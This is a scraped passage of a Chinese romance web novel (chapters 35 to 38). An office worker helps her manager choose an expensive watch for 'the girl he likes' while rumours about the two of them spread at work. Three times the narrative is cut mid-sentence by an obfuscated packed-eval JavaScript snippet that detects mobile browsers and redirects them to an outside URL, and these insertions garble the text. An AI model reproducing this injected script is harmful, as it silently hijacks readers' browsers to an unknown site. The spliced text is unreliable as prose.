这次却仗着陈昼这个金主在身边,大摇大摆地走进去,她问:“你喜欢的女生,有什么喜好啊?” 怕他听不懂,索性掰手指举例,“比如包包,首饰,香水,或者护肤品之类的。” 陈昼却反问:“你喜欢什么?” 迟念觉得,他这把年纪还单身是有原因的。 耐心解释:“每个女生喜欢的东西都不一样,我喜欢的她不一定喜欢。” 陈昼似乎懒得费心,直接说:“你们很像。” 迟念顿觉无力。 “好吧,那就先随便转转。” 一楼分为四个区,护肤彩妆黄金和奢侈品牌,迟念每走到一处,都会问他一句。 “她化妆吗?” 他答:“不怎么化。” “她什么肤质,干性中性还是油性?” 他露出迷茫的眼神,“不太清楚。” “好吧…”这两个选项被迟念pass掉,前方是奢侈品和黄金区,这两个她都不是很懂,好在有几家品牌表店,她忙问:“那手表呢?” 陈昼歪头看她。 女孩扎着高马尾,素颜,上身浅色衬衫,下身直筒西裤,没戴首饰,甚至连耳洞都没有,只有左边手腕上戴着一块石英表。 他说:“她应该会喜欢。” 迟念松了口气,手表她略懂。 前方右拐,并排两家表店,她看了眼品牌名,虽然浪琴对她来说是买不起的存在,但放在陈昼身上,似乎有些平价。 她说:“进萧邦看看?” 陈昼自始至终跟在她身侧,对她的提议也盲目听从,平时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846420|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在公司里的雷厉风行消失了,简直是个居家拎包好男人。 他全凭她做主,“听你的。” 店内装修豪横,玻璃柜台一尘不染,灯全都开着,照得里面的手表闪着刺眼的光。迟念走近一看,表盘上一圈的钻,不闪都怪了。 柜员微笑着迎接,并拿来两杯水,迟念正渴呢,直接仰头喝光,柜员有些惊讶,赶紧再去给她倒一杯。 迟念趁这个空档问陈昼,“你觉得她会喜欢哪款?” 陈昼闲适地倚在柜台边,扫了一眼里面排列的女式手表,问:“你有什么建议?” “我?”她开始为自己包揽这件事感到后悔,又不知道对方的外貌个性喜好,万一挑不好人家不喜欢怎么办。 “我不清楚…” 陈昼完全置身事外,“她和你很像。” 迟念绷不住,他喜欢的女孩家世一定不会差,怎么可能和她很像,难不成像她这么穷?开玩笑呢。 许是喝完一杯水,让饥饿感更加明显,她的耐心也全都填进胃里,被消耗殆尽。 柜员笑着把水放在她手边,礼貌地问:“女士,请问有喜欢的款式吗?” 迟念带着一种莫名奇妙的报复心理,指着看起来很贵的一款,“这个吧。” 柜员笑容加深,小心翼翼地打开柜台锁,把这块表拿出来,少了厚重玻璃的阻隔,实物看起来有种尔等贫民休想沾边的金贵。 迟念赶紧往后退了一步,让出位置给陈昼,“你觉得这款怎么样?” 陈昼没动,眼神示意柜员,“试戴一下看看。” 柜员接收到信号,拿起手表,扫描了一下迟念的手腕,说:“女士,您是把旧表摘下来试戴还是在另一只手腕上试?” 迟念完全状况外,“还要试戴?” 陈昼端着水杯,眼底笑意明显,“不然呢,不试一下怎么知道戴上好不好看。” 说得也是,她尴尬地笑了一声,把旧表摘下来放进包里,手腕带着表痕,她局促地搓了几下,伸过去给柜员。 手表是黑色细表带,表盘周围镶了一圈小钻,里面是水蓝色,有七颗稍微大的钻,还刻了星座图,指针咔嗒咔嗒在走,细听声音确实和便宜的不一样。 她戴好,举起,把自己当成手表展示架。 “怎么样?” 陈昼看得仔细,十几秒后,点头说:“很好。” 柜员双手交叠站在旁边,看了看陈昼,又看了看迟念,大致猜出两人的关系并确定谁有决策权。 “女士,这款表壳和表扣是18K金的,表盘是东陵石,表带呢是鳄鱼皮…” 迟念不停点头,心想:你说的每一句,都只会让这块表更贵而已。 果然,价格四十二万。 迟念托着下巴,避免因为太过震惊而脱臼,同时,手腕也越来越沉,这不是一块表,而是老家一套房。 不止能买房,买她的命都够了。 迟念灼灼地盯着手腕,眼睛恨不得化身照相机,把这奢靡的一刻拍下来,长久地保存在脑海里。 陈昼静静地看着她。 “喜欢吗?” 迟念目不转睛,“我喜欢没用啊,得看她喜不喜欢。” 他把水杯放下,试探地说:“意思是…你很喜欢?” 她正痴迷看手表,没听到他说的话,陈昼目光转到站在旁边的柜员,语气随意,“麻烦包起来吧。” 迟念猛然惊醒,慌忙解下交给柜员,小碎步挪到他身边,急声说:“不再看看别的了?四十几万呢,怎么像买卷卫生纸似的。” 陈昼罕见露出富二代财大气粗的一面,“无所谓,她喜欢就好。” 36. 第三十六章 出了店,商场几乎没有客人了,广播正提醒顾客还有二十分钟关门。 陈昼看了眼时间,提议:“今天多亏了你,请你吃饭吧。” 迟念下意识想拒绝,可空荡荡的胃却抢先发出同意信号,清晰的咕噜声后,她抬头,果然看到陈昼没来得及收回去的笑容。 她已经不在意这种程度的丢脸了,后知后觉发现,陈经理竟然是个喜欢笑的人。 愉悦的气氛能拉近距离,她也不客气了。 “街尾那边有个地下,里面什么吃的都有。” 陈昼转头看向那边,微微皱眉,“地下是饭店名字吗?” “不是…美食城啦。” 她抬腿要走,衣领却被揪住,陈昼像拎小鸡似的把她拉回来,不赞同她的提议,“听起来好像很便宜。” 陈昼环顾四周,指了指反方向的西餐厅,“去那。” 迟念知道这家店,以价格昂贵出名,人均一千五起,她曾在大众点评上浏览过,并勒令何伶火了以后带她去见见世面。 朋友请客和上司请客是两码事,她抱住路灯,弱弱地拒绝,“还是去美食城吧,出餐快,二十分钟就吃完。” 陈昼眉心皱成川字,看来她急着和他分开。 偏不如她愿。 “去那,是因为还有别的事想请教。” 请教? 让人压力好大的词~ 迟念松开路灯,心虚地说:“不敢当,我什么都不懂。” 陈昼却用奇怪的语气说:“有恋爱经验。” 她干笑一声,这年头,年轻人谁没谈过几次恋爱啊。本想这么说,但一想到陈昼假如真的没有,那不就成低情商发言了么。 她挠了挠后颈,被迫谦虚,“其实也没有很丰富。” 最后还是进了西餐厅,迟念因为卡上余额从没超过五位数,没有养出足够的底气,导致进这种地方时束手束脚的。 她坐在软椅上,谢过服务员之后,小声说:“听说上菜很慢。” 陈昼翻着菜单,只露一双眼睛,闻言抬起,“刚好我有很多事想问你。” “……” 好吧,既来之则安之。 桌上的鲜花被撤走,摆着刚才买的手表,四十几万的东西就这么随意的拎了一路,迟念偷偷掏出手机,点开照相机。 结果屏幕突兀地出现男人的脸,他直直地盯着镜头,“我帮你点好了,你听听看还有什么想要的。” 服务员准备叙述,迟念忙退出相机模式,端正坐好。 听了一堆高大上的菜名后,她云里雾里,迷茫地说:“这样就可以了。” 陈昼小声吩咐了一句,服务员离开,座位只剩他们两人,这样对视怪尴尬的,她没活找活,把桌上手机放回包里。 他视线全程跟随她的手,“刚才在和室友联系?” “啊…对!”迟念顺着他的话说,“已经很晚了,我怕她担心。” “告诉她放心,我会送你回去。” “不用,我等会儿坐地铁…”她眼看男人表情不对,急忙堆起那就麻烦你了的笑容,“好的,谢谢。” 陈昼扶了下眼镜,无比真诚地说:“这样我心里会舒服点,毕竟还有事要麻烦你。” 迟念打起精神,“不用这么客气,只要我能帮到的,一定会竭尽全力。” “你觉得…”他微微探身,指着桌上的包装精致的盒子,“我应该时候时候送给她?” 迟念问:“她和男朋友…” “已经分了。” “啊?”她恍然,怪不得他会突然主动。 思忖几秒之后,她试探地问:“那她在林江吗?” “在。” “失恋了心情很差吧?” 陈昼盯着她的脸看了几秒,说:“还好,我觉得她没有我想象中那么难过。” 迟念瞪大眼睛,像发现了新大陆,“这就说明她和男朋友的感情没那么深啊,正好你趁虚而入…” 太得意了,说话就不经大脑。 她的手在桌下狠掐了一把大腿,声音弱了几分,“我的意思是,她现在单身,你可以光明正大追求了,至于手表…” 她想了想,“你主动约她几次,在她感觉到你心意,而且没有明显拒绝的时候送给她,再正式表白。” 陈昼看样子很认同她的方法,长长的“哦”了一声。 “这样就可以了?” “对!”迟念一脸肯定。 陈昼弯起唇角,“好,你的建议我采纳了,如果有好消息,我会亲口告诉你。” 饭饱水足,迟念坐着上司开的车回家。 心情莫名的很好,她架着手臂下电梯,推开门,何伶正穿着瑜伽服在客厅做运动,脸颊累得通红。 见迟念姿势奇怪,她停下动作,擦干额角的汗。 “你骨折了?” 迟念左臂横在胸前,脱了鞋之后,光脚进屋,走到何伶面前。 何伶:??? 她上下打量,“肩膀脱臼了,还是抽筋,要不要吃钙片?” 迟念啧了一声,指了指自己的手腕,“伶子,我正式通知你,以后对我可以随便,但是我的左手,请你放尊重一点。” 何伶吸了吸鼻子,没闻到酒味,也没喝醉啊,怎么说起胡话了。 她嫌弃往后退了一步,继续做伸展运动。 迟念架着胳膊贴过去,搞得何伶运动空间变窄,施展不开,她烦躁的“啧”了一声,“上一边发神经去。” 迟念故作深沉地叹了一口气,“你可真是有眼不识泰山,我这手腕,刚才戴了一块四十二万的表。” “噢,吹牛。” “千真万确!”迟念盘腿坐在沙发上,执拗地维持架着胳膊的姿势,“刚才我去KL了,在萧邦店里戴的。” 何伶开始下犬式,故意把屁股对着她,头倒着,声音有些闷,“怎么去那了,你想跳槽当柜姐啊?” “不是哦,是陪陈经理去的,他想送喜欢的女孩礼物,我推荐的手表,他真听我的了,还拜托我帮忙试戴。” 何伶的下犬式直接崩塌,她扁扁地趴在瑜伽垫上,不敢置信地说:“你竟然还和那个陈经理纠缠不清呢?他不是回家商业联姻了么!” “害,没有那回事,他又回来了。” 何伶支起身子,感叹,这部电视剧还真是又臭又长。 “我也是不懂了。” 迟念喘了一口气长气,趁这个机会说了陈昼揽下因她而起的谎言,又拜托她帮忙选东西,俨然把她当成军师。 何伶笑得想死。 “你给他当军师?哈哈哈…”她身子弓成大虾状,“可你是纸上谈兵哎,这么多年你谈过超三个月的恋爱吗,大多数都是单相思好不好。” 迟念翻她一个白眼,“你不说谁知道。” 何伶捂着抽痛的肚子坐起来,还没缓过劲,“我原先还以为你那个上司是电视里演那种雷厉风行的霸总,怎么眼神这么不好,挑了你这个菜鸟。” 迟念刚才就很不爽了,结果她还一直嘲讽,气得跳过去给了她一巴掌。 “嘲笑我是吧,这次你就看着,我肯定帮他把那个女孩追到手。” 何伶已经准备好看笑话了,她深吸一口气,咦?凑过去,又吸了两下,“你吃什么了,身上这么香。” 迟念也抬起袖子闻了闻,“陈经理请吃的牛排,味道那么明显吗?” “靠!”何伶抱住她猛吸,早上只吃了一碗开水泡燕麦,还运动了两个小时,像饿了三天的狗,完全忘记吐槽这码事。 “等我拿到这个角色也要吃牛排,死贵的那种!” 迟念拍了拍她肩膀,肉很薄,能清晰感受到骨头,她说:“不减也行吧,你现在看起来也很瘦。” “不行。”何伶有气无力,“上镜胖二十斤呢,要是抓不住这次机会,我就回老家随便找个男人嫁了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853942|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她虽然饿得抓心挠肝,嘴上也喊受不了,但是没有吃过一口东西,迟念也在行动上支持,晚饭在外面解决。 今晚预计加班一个半小时,她提前下楼吃东西,在货架上眼花缭乱的包装里,选择了自热米饭。 她坐在便利店的角落,静等蒸汽消失,身后却突兀传来熟悉的名字。 “欸,你听说了吗,小陈总和宣传部的一个女生谈恋爱呢。” 迟念下意识拽起领口挡住侧脸,做贼似的看向声音传来的方向,可惜,隔了一个货架,什么都看不到。 对话在继续。 “什么!叫什么名字?” “…什么念,我也不确定姓什么,我是听咱们部门的唐姐说的。” “消息准确吗?” “应该准,唐姐说得有鼻子有眼的,她都在这干十多年财务了,哪个部门都有熟人,肯定不是空穴来风。” “哇,心痛,我豪门梦碎了。” “噗~笑死,上次他扣你奖金的时候你在背后骂得可挺脏,我都记着呢。” “嘶,一码归一码…” 迟念心烦意乱,谣言不是已经平息了吗,怎么又来?!便利店门声响动,好像又进来几个同公司的人。 怕遇到熟人,她赶紧抱着自热米饭,悄悄从后门溜走。 惆怅地坐在迷你公园的石墩子上,四周安静无声,她认真梳理这件事。 明明已经结束了,昨晚她还刻意避开同事,确定没人看到她上陈昼的车,今天怎么又开始传了? 她挖了一勺米饭,狠狠塞进嘴里,心不在焉地嚼着。 鞋尖前出现人的影子,她鼓着脸颊抬头,看到陈昼站在几米之外,薄唇微抿,眼底有一丝意外闪过。 她赶紧站起来,方形的自热盒抱也不是,放下也不是。 陈昼向前一步,视线落在她手里,“你就吃这个?” “对啊。”迟念急忙咽下去,“可好吃了。” “……” 她还在意刚才在便利店里听到的话,心虚的看了看周围,确定没有公司的同事后,慢慢放松戒备。 “你怎么在这?” 陈昼深吸一口气,凉凉地说:“顺着香味过来的,这种东西配料表复杂,如果被我看到公司里的人在吃…” 迟念呆傻。 管天管地,怎么还管起员工吃什么了。 再说,自热米饭有米又有菜的,营养可全面了。 她又挖了一大勺,故意当着他的面送进嘴里,勺子刚碰到牙齿,眼前黑影一闪,随即脸颊被大手捏住。 她眼睁睁的看着陈昼把勺子从自己嘴里拉出来,扔进饭盒里,然后走,环视四周,似乎在找垃圾桶。 可是!能先把手松开吗,好酸好痛! “唔唔…”她话不成音,只能抓住他的手,用力挣脱。 陈昼这才想起自己捏着她的脸,匆忙松开,可指尖的滑腻和手背的温热还在,他捻了捻手指,不自然地轻咳一声。 “你的饭被我弄脏了,走吧,我请你。” 迟念捂着脸,翁声翁气地说:“不用了,我不饿。” 陈昼低头看她,虽没有平日在公司里的威严,嗓音却低沉,带着若有似无的试探,“你生气了?” 温热的气息就在头顶,她后退一步,无奈地说:“我哪敢啊,真不饿,今晚还要加班,任务挺重的,我就先回去了。” 说完,转身就走,结果手腕被束住。 陈昼轻松把她拉回来,“既然是工作时间,那我命令你,陪我吃饭。” 迟念叫苦不迭,“不好吧,我刚才又听到同事背后说我们了,以后还是不要离这么近,万一又被误会怎么办?” 他手不松,就这么拉着她,且力气很大。 “无所谓。” 她堂皇,“你难道不怕喜欢的女生误会吗?” 陈昼愣了一下,突然笑了,“她不会的。” 37. 第三十七章 吃的烤肉,导致下班时间推延到九点。 迟念脚步沉重地进电梯,按下一层和关门键,门在闭合之前又打开,陈昼面无表情地走进来,按灭一层,重新按了负一。 迟念:? “欸,我不去停车场…” 他说:“我送你。” 迟念苦着脸,发自内心地恳求:“陈经理,拜托你了,咱俩好像走太近了,这样对你对我都不好。” 电梯迅速下行,陈昼微微仰起下巴,直视跳动的红色,直到停在负一层。 他迈出电梯,回头,用眼神请她出来。 迟念垮着肩膀,迈出来之后,不死心地问:“这么宝贵的时间你不约喜欢的女孩?” 陈昼双手插兜,一副舒展的松弛模样,“太晚了,我想她已经睡了。” 车子驶出停车场,熟络地拐向通往她家的路,男人拧开音乐,低哑的女中音在唱上个世纪的情歌。 他问:“怎么个不好法,仔细说说。” 迟念抓紧安全带,心想,这还用说嘛,不是都明摆着呢么。 他有喜欢的女孩,还天天和下属走这么近;她呢,没有演戏的天赋,不想和大家撒谎他们是怎么分分合合。 嘴唇动了半天,只憋出干巴巴的几个字,“我不喜欢别人在背后谈论。” 陈昼略微思索,“意思是喜欢当面说。” “那更不能了!”她有些急,直接把身子转向他,“你都有喜欢的女孩了,我总在里面掺和什么啊。” “我需要你的帮助。” 迟念掏出手机晃了晃,“我们电话联系也行啊。” 陈昼轻呵一声,看起来有些不高兴,“念念,你是单纯不喜欢和我呆在一起,还是怕我喜欢的女孩介意,为了避嫌才这样的。” 说完,半晌没声音,他转头,迟念愣在副驾驶。 “怎么不说话?” 迟念眨了眨眼,“你一叫我念念,我就下意识找东西念,能不能改个称呼,和大家一样叫我小迟行吗?” 陈昼唇角扬起,做了一个和他形象完全不符的叛逆表情,“不行。” “陈经理!!!” 他目视前方,充耳不闻。 迟念执着地凑过去,音量提高:“陈昼!” 前方红灯,车子急刹,他身子突兀地侧过来,迟念的唇刚好贴在他的脸颊。 陌生的温热紧密贴合,她的脑袋里发出急促的警报声,触电般缩回来,一脸惊恐,“不不…不好意思,我不是故意的。” 陈昼面色平静。 被亲到的那块皮肤透出灼人的热,在她的唇贴上去的一刹那,路中间的红灯,自动变成炸开的烟花。 脸颊还残留着细小的水渍,回忆刚才的一幕在脑海里重复播放,心情就没这么好过,他快压不住上翘的嘴角。 迟念快哭了。 要不是被安全带束缚着,她都能直接给他跪下,从来没有过这种失误,事发突然,也手足无措了。 “对不起对不起!”她无头苍蝇似的狂搓手,“真的只是不小心碰到了,没有别的意思,我可以写两千字的检讨。” 绿灯亮起,陈昼踩下油门,故作严肃地说:“好啊,明天上午送到我办公室。” * 迟念白着脸回家,沙发上坐着同样白着脸的何伶。区别是,一个是吓的,一个是饿的。 何伶懒得动,声音有气无力,“怎么这么晚才回来啊?” 迟念僵直地走过去,把自己放倒在沙发上,脑袋顺势枕着何伶的腿,长叹一口气,“加班,等会还要加班。” “啊?”何伶低头看她,黑色长发盖在迟念脸上,“怎么忙成这样?” 迟念不想把刚才丢大脸的片段说出来,因为能预见她一定会狂笑不止,为了节省她所剩不多的体力,还是算了吧。 她拨开长发,悠悠起身,“是啊,超忙的。” 躲着何伶写检讨,熬到半夜才写完,她爬进被窝里,脑海里自动播放车里的一幕,糗到她抓狂。 真是造孽! 第二天上班,迟念顶着一双熊猫眼。 她做贼似的把检讨折成巴掌大小,在小组会结束之后,走去办公室,叶珍珠见到她,突然站起来把她拉到角落。 “小迟,我怎么又听说你们在一起了?” 迟念无力,“没有的事。” “可其他部门都在传啊。” “不清楚。”迟念昨晚只睡了三个小时,提不起力气处理这种费脑的事,“我们什么事都没有,你别信。” 叶珍珠狐疑地看着她,外面传的有鼻子有眼的,她怎么还死不承认呢,“好吧~”她看到迟念手里藏着折起的纸,随口问:“这是什么?” 迟念立刻藏到身后,此地无银三百里地说:“没什么。” 陈昼坐在椅子上,电脑屏幕显示股票走势,眼镜上倒影着一片绿色,他关闭页面,揉了揉太阳穴。 昨晚失眠,只睡了不到两个小时。 刚闭上眼,就听到门被敲响。 连着三下,很轻的试探声。 他心情突然变好,故意抻了一会才说进来。 迟念把门开了一条很窄的缝,像条鱼似的钻进来,反手关紧。她把纸展开,硬着头皮走到办公桌前。 检讨放在桌子上,说:“我写完了。” 陈昼故意看向别处,“念念。” 她头痛,“我觉得在公司里你还是叫我小迟…” 他突然抬起头,手指敲了敲桌面,发出叩叩的脆响,“我是让你念一下检讨,没有叫你乳名的意思。” 迟念在听到他敲桌子的时候一激灵,猛然想到他是另一个意思,丢脸之后,是郁闷,检讨这种东西怎么可能念得出来啊。 她很抗拒,“不念行吗?” “行啊。”陈昼意外的宽宏大量,话锋却一转,“不念也可以,晚上一起吃饭。” 迟念的脸皱成包子,内心一番天人交战后,拿起桌上的检讨,小声给自己打气:“没什么大不了的,我念。” 折起的纸刚展开,就被凭空出现的手夺走,陈昼把纸揉成一团,扔进垃圾桶。 微笑着说:“反悔无效。” 今晚吃日料。 迟念胃口不佳,吃了几块三文鱼寿司就差不多饱了,不好放筷子,只好拨弄拉面碗里的配菜磨时间。 陈昼歪头看她。 “其实我是有事要请教。” 迟念勉强打起精神,“您说。” “我喜欢的女孩好像不太喜欢和我单独在一起,但我非常喜欢她,你说,这种情况应该怎么办?” 迟念自暴自弃,“可能她看到咱们在一起了,或者听到公司里的风言风语,误会了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861642|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 陈昼很笃定地摇头,“没有这种可能。” 她放下筷子。 发自内心地问:“你真的喜欢她吗?” “喜欢。” 她看着他的眼睛,企图从里面找到撒谎的证据,可能她太困了,也可能眼镜反光,她什么都没感受到。 算了。 若真像他说的,那么喜欢那个女孩,早点谈上也好,省得天天折腾她。 “要是真喜欢的话,就放下身段,死缠烂打一阵子试试。” “哦?”陈昼探身,胳膊支在桌子上,表现出一种敏而好学不耻下问的美好品质,“怎么死缠烂打?” “就…”迟念挠了挠头,“经常出现在她面前,关心她,明显地表达对她的爱意,或者突然的近距离接触,看她抵不抵触…” 说到这,她突然想到昨晚的失误,心虚闭嘴。 陈昼一副了然的表情。 “我知道了。” 迟念今晚回家的时候,脸色比昨晚更白,何伶也是一样的命运,她躺在瑜伽垫上,眼神空洞地看着天花板。 迟念光脚进屋,和她并排躺,“人生好难啊。” 何伶哼了一声,气若游丝,“我现在觉得,有饭吃就不难,你少在这边给我无病呻吟。” “……” 迟念此刻脑子很乱,侧过身看她,大胆提议,“要不要喝酒?” 何伶的眼珠从中间移到右侧,微微眯起,咬牙切齿地吐出一个字:“滚!” * 迟念又开始了躲陈昼的日子。 可是能躲了他,却躲不过同事贴脸开大,上个洗手间,都能碰到不太熟的人热情和她打招呼,“你就是小陈总的女朋友吧,我是市场部的…” 一天光应付这些人就死了一大堆脑细胞,她也解释了无数次和陈昼没有关系,这些全都是谣传。 可惜,他们明显不信,甚至有些人还了然地拍了拍她肩膀,自以为get到了她这么说的真实含义。 “哎呀,懂,低调低调。” 迟念觉得,这下事情真的朝不可掌握的方向发展了,没捱到下班,果然听说了很多关于他们恋情的“细节”。 相恋多年,异地两年,小陈总刚回国,迟念就兴奋地发了酒店裸照到朋友圈,表面是和男友团聚,暗地是宣示主权。 所以啊,小陈总调到分公司这几个月,没和任何一个女员工有工作以外的交流,私人时间被迟念捏得死死的。 这时候,宣传部的几个知情者变成八卦爱好者的香饽饽,几杯酒下肚,把他们知道全都抖落出来了。 迟念端着水杯的手有些抖,旁边的叶珍珠兴致勃勃,大有刹不住的势头。 “其实吧,长辈不同意也没事儿,大不了就捱时间呗,小陈总比你大好几岁呢,看最后谁先急。” 叶珍珠劝了有一会儿了,也终于知道迟念为什么咬死不承认和小陈总的关系了,源头还是那次出差见家长。 总公司在这边能没有眼线么,不想让陈董知道他们藕断丝连,才一直说分手了,怕麻烦找上来。 至于为什么恋情又疯传呢,大概是…小陈总态度坚定,故意弄得人尽皆知,应该是非迟念不娶了。 她的心扭成一团,有种看言情小说男女主突破万难即将要在一起的酸涩感,捂着心口感叹:“小迟,你命真好。” 38. 第三十八章 迟念很想流泪。 她觉得很像小时候玩游戏,明明轻松绕过前期所有危险,却在最后一关被一击毙命,简直憋闷到冒火。 谣言早晚会传进陈昼的耳朵里,到时候他就知道,这段“恋情”和他没有关系,全是她散播出来的。 想到谎言戳破后的地狱场景,她偷偷从公司溜走,提前回家。 何伶今天还好,至少脸上能看出血色了,开门时她在摇呼啦圈,经过三天的空腹,腰明显细了一圈。 她看了眼墙上的挂钟,“今天挺早啊。” 迟念没说话,径直瘫坐在沙发上。 何伶回头看了她几次,终于发现不太对劲,放下呼啦圈,坐在她旁边,“什么情况,被开除了?” 迟念眼神疲惫,“比开除还糟心。” 这事有点超出心理承受,她憋不住,一股脑全跟何伶说了。 何伶的嘴巴慢慢从o变成O。 她快速捋了一下,“你是说,陈经理以为谣言是他让你兼职几天司机引起的,但是现在整个公司说的都是你发朋友圈之后的事,他是不知道的。” 迟念抱着她哀嚎:“都怪我之前演得太卖力了。” “不怪你!”何伶搂着她的肩膀,“索性摊牌算了,他要是开除你,你就跟我进组当助理,我怎么着也雇得起你。” 迟念也想这样,但现在明显来不及。 她说:“记得我和你说过,他有一个喜欢的女孩吧。” 何伶迟钝地点了点头,断碳的大脑空白了三秒才懂她的意思,“你是说!你现在和他坦白,就等于表白。” “嗯,我肯定会说在茫茫的网络海洋里,一眼相中他的裸照,并高价买来发朋友圈,所以造成现在谣言满天飞。” 何伶揉着太阳穴,“你就说随便找的不行吗。” “他不会信的,就算信了,怎么可能那么巧选到他,万一有更复杂的意图呢?”她忽然压低声音,“听说总部现在抓间谍呢。” 何伶猛翻白眼,敲了一下她的头,“你可真会想,哪个好公司能找你这样的间谍。” 迟念回击了她一下,“我很厉害的,最近业务能力可是进步飞快。” “行行行,你最棒。” “怎么办?” 何伶也有点绕不过来这个弯了,“就算你是看照片喜欢他了,又怎么了,现在平息谣言才是最重要的。” “可是…”迟念不想这样,“我明知道他有喜欢的女孩,他还一直问我怎么追人家,我这时候横插一杠和他说这个,未免太动机不纯了吧。” 何伶一想也是,顿时觉得头痛,“随便你,实在不行就苟着吧,什么时候他问你了你再说。” 她想了半天,似乎只剩这一个办法,“行,就这样。”说完,委屈巴巴地靠过去,“你加油,我要是真被开了,以后就靠你了。” * 第二天上班,迟念没看到他。午休的时候问珍珠姐,她说小陈总下市场了,这几天线下活动密集,他得亲自过去盯。 迟念稍稍松了口气。 这样平安无事地过了两天,她在临下班之前接到他打来的电话,声音醉意明显,要她去办公室拿车钥匙,去城郊某酒店接他。 她匆忙下楼,把车从地下停车场开出来。夏日傍晚,橘色晚霞鱼鳞似的铺了满天,她忍不住拍了几张,随手发给何伶。 正是假期,秒回消息的何伶却没有回音。迟念趁着红灯停车,点进微信,赫然发现刚才的照片发给了陈昼。 我去! 她急忙长按撤回,结果收到通知:消息已经超过三分钟,无法撤回。 救命!陈经理的聊天框怎么跑到上面来了?往上一翻才发现,原来刚才打完电话之后给她发了位置。 手机叮了一声,收到新消息。 她下拉,陈昼回复一条:【很美】 不是在饭局么,不是喝醉了吗,怎么还能回复消息啊…迟念踩下油门,六神无主地顺着导航往目的地开。 城郊这边新开了一家大型商场,饭店就在商场旁边,她把车停在门口,给陈昼打电话。 很快接通,听筒那端却不是他。 男人声音粗犷,却带着熟络的笑意,“你到了?我们在三楼,303包房。” “啊…”迟念晃了下神儿,这是让她上去的意思,可是,不应该她在楼下等他下来吗… 忍不住问:“他喝很多?” “哈哈哈,哪是多啊,是醉得昏天黑地了。” 迟念忽然被对面得意的语气刺到,好像在饭局上把人灌醉是件多了不起的事,她对这种酒桌文化深恶痛绝,气噌噌往头顶窜。 她迅速下车,冷声说:“别动他,我马上上去。” 电话挂断,乔森莫名其妙。 他转头看旁边的郑彦泽,“我怎么感觉她不太高兴呢。” 下午陈昼来的这边,顺便给这两位老友打了个电话,听说他们都有时间,刚好聚一下,就当弥补上次的匆忙。 随着商场的开业,周边也发展起来了,新开的海鲜酒楼,正中他们想狠宰陈昼一顿的下怀。 郑彦泽的脸比上次憔悴了很多,由此可见他确实在熬夜带小孩,乔森则面庞清爽,为了塞进小一码的新郎服,瘦了好大一圈。 三人坐在包房里,菜还没上就喝完一瓶。 喊出不醉不归的口号后,郑彦泽半开玩笑地对陈昼说:“我们喝醉没关系,你行吗?” 陈昼心情不错,直面他的挑衅,“怎么不行?” 乔森插话,“你酒品很差,把你女朋友缠烦了,她万一和你闹分手,我们可不承担这个责任哈。” 陈昼无所顾忌地把酒杯倒满,“她不会的。” 听他这么说,两人更是无所顾忌,抱着把他灌醉的目的,几轮下来,陈昼果然眼底微红,隐隐现出醉意。 乔森知道他装醉功力一流,这种程度只能算微醺。 郑彦泽举起酒杯,笑着说:“我等会儿坐老婆的车回家,乔森的女朋友也会来接,你呢陈昼,怎么回去?” 乔森狡黠地冲他眨了眨眼,一起长大的发小果然心有灵犀,想到一块去了,“陈昼的女朋友当然也来接,他醉成这样,别人来接我们可不放心。” 陈昼轻笑一声,拿出手机晃了晃,醉意尽显,“我给她打电话。” 在迟念开车往这边赶的时候,他又喝了两瓶,郑彦泽看出他醉了,急忙拦住想要倒酒的乔森,“可以了,不能再喝了。” 乔森一脸狐疑,弯着身子看趴桌的陈昼,“你忘啦,他可会装了。” 手机在桌角震动,陈昼依旧趴着不动,乔森终于相信,“看来真的醉了。”他看了眼手机来电,显示——念念。 迟念一口气上到三楼,服务员迎上来,她急声问:“303在哪?” 电话刚挂断十几秒,门就被敲响,郑彦泽喊了一声请进,门马上打开,冲进来一个职业打扮的女孩。 乔森上下打量她,憨憨一笑,“你就是…” 迟念看都不看他,径直冲到趴在桌子上的陈昼身边,拍了一下他的肩膀,轻声问:“陈昼,你还好吗?” 郑彦泽终于知道乔森为什么挂完电话说她生气了,她看起来的确很生气,甚至可以用炸毛来形容。 他站起身,给乔森一个眼神,对方秒懂,“没事儿,我们扶他下去。” 迟念想到出差那次,陈昼在酒会上被人灌倒,要不是她及时出现,他指不定被人带到哪里去呢。 这次也一样。 眼前这两个人挺清醒的,一看就是故意把陈昼灌醉,也不知道安的什么心。 迟念拉着脸,把陈昼的手臂搭在自己肩膀上,用力一提,男人软绵绵地站起身,全部的重量压在她身上。 乔森的手尴尬地晾在半空,过去帮忙也不是,收回也不是。 他干笑一声,“三层楼呢,你扶不动他,还是我们来吧。” 迟念架着他走了两步,面无表情地拒绝:“不用!” 